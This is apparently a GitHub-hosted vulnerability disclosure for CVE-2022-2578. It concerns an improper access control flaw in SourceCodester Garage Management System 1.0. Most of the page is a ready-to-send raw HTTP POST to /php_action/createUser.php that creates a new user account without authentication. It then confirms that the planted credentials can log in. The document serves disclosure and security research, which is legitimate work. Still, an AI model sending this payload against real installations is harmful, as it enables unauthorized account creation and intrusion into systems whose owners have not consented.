Headline
CVE-2022-2578: vul/Garage Management System--.md at main · ch0ing/vul
A vulnerability, which was classified as critical, has been found in SourceCodester Garage Management System 1.0. This issue affects some unknown processing of the file /php_action/createUser.php. The manipulation leads to improper access controls. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
Permalink
Cannot retrieve contributors at this time
Garage Management System - create new user Unauthorized****Exploit Title: Garage Management System - create new user Unauthorized****Exploit Author: [email protected] inc****Vendor Homepage: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html****Software Link:https://www.sourcecodester.com/download-code?nid=15485&title=Garage+Management+System+using+PHP%2FMySQL+Free+Source+Code****Version: Garage Management System 1.0****Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql****Description
Confirmation of the user’s identity, authentication, and session management is critical to protect against authentication-related attacks.
Payload used:
POST /php_action/createUser.php HTTP/1.1
Host: 192.168.67.9
Content-Length: 548
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.67.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfyEJMTq3SaowAIJ3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.67.9/add-user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="currnt_date"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="userName"
[email protected]
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="upassword"
admin@123
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="uemail"
[email protected]
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3--
Proof of Concept
Send payload
Open Page http://192.168.67.9/users.php，See one more user added.
[email protected]/admin@123 can login system;